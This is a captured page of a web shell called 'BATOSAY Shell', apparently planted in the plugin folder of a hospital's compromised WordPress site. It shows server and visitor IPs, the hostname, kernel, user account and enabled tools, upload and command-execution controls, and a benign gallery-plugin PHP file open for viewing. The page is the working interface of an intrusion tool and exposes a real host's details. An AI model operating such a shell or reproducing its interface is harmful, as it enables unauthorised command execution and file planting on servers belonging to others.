BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home1/deltahospital/www/wp-content/plugins/fancy-gallery/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home1/deltahospital/www/wp-content/plugins/fancy-gallery/classes/wpml.php
<?php Namespace WordPress\Plugin\GalleryManager;

abstract class WPML {

  static function init(){
    add_Filter('gettext_with_context', Array(static::class, 'Filter_Gettext_with_Context'), 1, 4);
  }

  static function isActive(){
    return defined('ICL_SITEPRESS_VERSION');
  }

  static function Filter_Gettext_with_Context($translation, $text, $context, $domain){
    # If you are using WPML the post type slug MUST NOT be translated! You can translate your slug in WPML
    if (static::isActive() && $context == 'URL slug' && $domain == I18n::getTextDomain())
      return $text;
    else
      return $translation;
  }

}

WPML::init();

Batosay - 2023
IDNSEO Team